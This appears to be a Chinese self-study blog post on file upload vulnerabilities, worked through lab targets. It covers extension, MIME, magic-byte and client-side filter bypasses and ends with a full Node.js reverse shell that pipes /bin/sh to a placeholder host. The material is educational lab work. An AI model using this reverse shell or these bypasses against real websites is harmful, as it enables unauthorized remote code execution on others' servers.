【土木人自学网安Day3】文件上传漏洞介绍与绕过的简单应用

 前言(每日一遍):

“初闻不明劝离意,回头已是提桶人”

 (本贴为自学记录贴) 

  • 是什么:许多网站都允许用户进行文件上传功能,注入头像定制,文件提交等,但是不正当的文件上传将会导致一系列问题
  • 为什么要学:可以通过文件上传漏洞获得webshell实现远程代码控制RCE

 一、文件覆写

一般当文件上传到网站时,网站会对文件进行一系列检查,会将文件伴随其时间进行重命名,以确保不会发生同名的文件从而导致文件覆写,有的网站发现上传同名文件则会返回错误。总之,网站会确保发生同名文件的情况,但是实际上这也是一个在文件上传漏洞测试时值得注意的点。

二、远程代码执行RCE

顾名思义,这将允许我们在Web服务器上任意执行代码。虽然通常获得的是一个低权限的web账户(如linux系统中的www-data账户),但是其危害还是巨大的。
远程代码执行通常是通过上传和网站后端语言一致的代码文件所导致的,传统一般是php代码,但近年较普遍的是Python Django和Node. js形式的Javascript。
通常,实现RCE的的方式有两种:webshell和反弹shell,对攻击者而言反弹shell比较理想,因为如果对上传施加了文件长度限制,或者防火墙规则阻止任何基于网络的shell。一般情况下我们的方法是先上传文件到服务器,然后导航至文件处激活它,但是注意,在路由应用程序中(即路由文件是以编程方式定义的,而不是映射到文件系统的应用程序),这种攻击方法变得更加复杂,发生的可能性也大大降低,而大多数现代Web框架都是以编程方式路由的。因此这种情况只能通过其他方式强制让网页为我们运行上传的脚本(由于本文是对上传漏洞简单介绍应用,并不深入讨论)。

(一)反弹shell实验

首先先进行枚举扫描,目的是为了检测是否有上传点,以及上传后的文件存放地址是否可以找到(这里以写入本地dns的网站shell.uploadvulns.thm为例),经尝试,上传文件处于/resources位置。
随后上传一个功能齐全的反弹shell【此处可下载】,通过访问文件位置进行激活

 可看到通过netcat实现接受。

三、过滤

 上述实验的实现是网站没有任何防护的情况,但是实际情况中会出现各种针对文件上传的防护功能,基本可以概括为客户端过滤和服务器端过滤两种。当我们讨论在客户端上的过滤脚本是,这时的绕过是容易的,因为这种过滤发生在我们自己的电脑上,理论上这是一件我们可以解决的小事,而执行在服务器端的过滤往往不这么容易,一个原因是因为我们不知道服务器端所使用的代码类型,虽然通常我们见到的例子都是php类型的,但是近年来微软的IIS ASP、C#、Node.js、Python、Ruby on Rails和各种其他选项已经被更广泛使用,因此服务器端的绕过通常离不开诸如wappalyzer的工具的信息收集。

(一)文件后缀名的更改

一些网站通过文件后缀的黑名单或者白名单进行过滤,因此可以通过后缀名的更改实现绕过。

(二)文件类型过滤

1.MIME认证过滤(Multipurpose Internet Mail Extension):最初是在通过电子邮件作为附件传输时,但现在也在通过HTTP(S)传输文件时使用。文件上传的MIME类型附加在请求的标头中,如下所示:

 MIME类型可以再客户端或者服务器端被检测,但是这也是极容易绕过

2.魔术字节认证过滤:文件的“幻魔术字节”是文件内容开头的一串字节,用于识别内容。例如,PNG文件的最顶部会有这些字节:89 50 4E 47 0D 0A 1A 0A,通常unix系统使用魔术字节进行认证过滤。

(三)文件长度过滤

某些网站会针对文件的字节长度判断是否允许上传,目的是为了防止过大的文件占用服务器过多资源,如果你有一个5kb的shell而服务器最大仅支持3kb上传时,应该避免你的shell失效。 

(四)文件名过滤

在一个管理良好的系统上,我们上传的文件不太可能具有我们在上传前给它们的相同名称,因此请注意是否你能用原来的名称找到你上传的文件。

值得注意的是,这些过滤器本身并不完美——它们通常会相互结合使用,提供多层过滤器,从而显着提高上传的安全性。而不同的框架和语言都有自己固有的过滤和验证上传文件的方法。因此,可能会出现特定语言的漏洞利用;例如,在PHP主要版本5之前,可以通过在恶意. php文件中附加一个空字节和一个有效的扩展名来绕过扩展过滤器。最近还可以将PHP代码注入到其他有效图像文件的exif数据中,然后强制服务器执行它,不过这些内容不在本节讨论范围。

 四、客户端过滤

有四种常见的绕过客户端过滤的方法
(一)关闭本地的js。这要确保在关闭js后网页能正常使用,若不能正常使用则不要用这个方法。
(二)拦截和修改上传的文件。可以使用bur代理工具进行拦截,然后针对上传的文件进行MIME或者魔术字节调整,让其绕过过滤器。

(三)拦截和调整响应界面,可以通过bur拦截网页的response回应,对其内容进行调整,从而修改掉过滤的js代码。

注意,可能bur不会默认拦截js,所以需要自行配置,将不拦截js的部分删除。

(四)将文件直接上传到上传点。这样可以避免产生拦截,从而直接将文件进行上传,通常可以使用curl命令实现,看起来就像:

curl -X POST -F "submit:<value>" -F "<file-parameter>:@<path-to-file>" <site>

首先要拦截上传的文件,将拦截后的参数填入其中,在本文不讨论这种方法。 

(五)实验-客户端过滤

现本地DNS修改后的目标网站为java.uploadvulns.thm,首先进行网站目录扫描。看能否找到上传后的文件所在地,后测试上传文件位于images目录下

接下来进行上传php文件测试看是否有拦截

存在拦截,利用bur拦截上传数据,看是何种过滤submit=success

发现为白名单客户端js过滤,可以 直接删除这段response代码,然后发现可成功上传

(六)实验-服务器端过滤

一个服务器的黑名单过滤代码如下:

<?php
    //Get the extension
    $extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
    //Check the extension against the blacklist -- .php and .phtml
    switch($extension){
        case "php":
        case "phtml":
        case NULL:
            $uploadFail = True;
            break;
        default:
            $uploadFail = False;
    }
?>

由上可知,php及phtml后缀的文件不允许被上传,或许你在别的地方看到过可以通过.php3, .php4, .php5, .php7, .phps, .php-s, .pht 以及.phar这些后缀进行上传,它们的效果等价php,但实际上可能它们在运行时不被识别为php代码运行(以武器apache2默认配置为例):

 但是上面这些后缀在一些特别情况下可能有用,因此也值得尝试。实际上有一种较新且能够实现php等价运行的后缀 .phar :

 如果网站接受jpg文件,拒绝php文件,也可以进行以下尝试:

这是因为在Web服务器配置中,通常会以文件扩展名为准来确定文件的处理方式。在这种情况下,文件的扩展名是.php,因此服务器会将其视为PHP脚本文件。

这里实验的目标网站是annex.uploadvulns.thm,首先进行目录扫描

发现上传的文件会存在privacy目录下,经测试网站可以通过php5后缀进行登录,看样子是黑名单限制,但是被重命名了

(七)客户端过滤-魔术字

进行常规目录扫描,发现存放上传文件的地址为graphics文件夹下

用16进制[16进制查看]查看我们的shell,发现格式如下:

 在最前面我们将魔术字改为gif图片格式的,具体格式可以看这里

 

 上传测试,发现成功上传并获得反弹shell

四、进一步的实验

当着手一个网站的上传漏洞测试时,先查看一下网站整体,利用浏览器插件(wappalyzer)或者手动检测网站可能使用的浏览器框架和语言,可以使用bur拦截查看server或者x-power-by参数查看服务器信息,并查看是否存在上传的点。 
在找到上传点后,可以尝试拦截加载页面看是否存在客户端绕过,这对我们后面的测试绕过有较大好处。
然后我们需要上传一个正常文件,并找到我们上传的文件处于什么位置,是否可以直接访问它,这里推荐使用工具gobuster(使用方法),gobuster的-x标签可以帮助查找网站上特定后缀名的文件,这在我们找不到上传文件地址时很有帮助。
随后就可以上传我们需要上传的恶意文件了,并针对网站过滤系统进行绕过。
假设我们的恶意文件上传已被服务器阻止,可以通过以下一些方法来确定可能存在哪种类型的服务器端过滤器:
上传一个完全无意义的后缀,如php.4s5,如果可以上传则系统使用黑名单过滤,不能则系统使用白名单过滤,将一个正常的文件魔术字改为恶意文件后缀,不能上传则是魔术字过滤,若使用bur拦截,出现MIME则可能是MIME识别过滤。
现在获得在本地dns修改后的目标网站为jewel.uploadvulns.thm,首先进行目录扫描

发现了content目录,打开网页后找不到任何内容,但是通过gobuster的枚举发现content内存在jpg图片,因此猜测图片被存放至此

 且测试经上传的文件会被重命名,接下来我们找到合适的反弹shell并尝试绕过过滤

接下来通过wapplyzer发现,采用的nginx服务器,并且采用的node.js应用服务器,因此后端支持的时js代码,我们这时的反弹shell就应该找js类型的反弹shell

这里我们使用如下node.js反弹shell:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "yourip", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

 接下来我们尝试绕过过滤,先从客户端绕过开始,拦截网页的respond代码,发现存在js过滤,删除过滤部分后放行

随后上传,过滤成功
 

  • 28
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值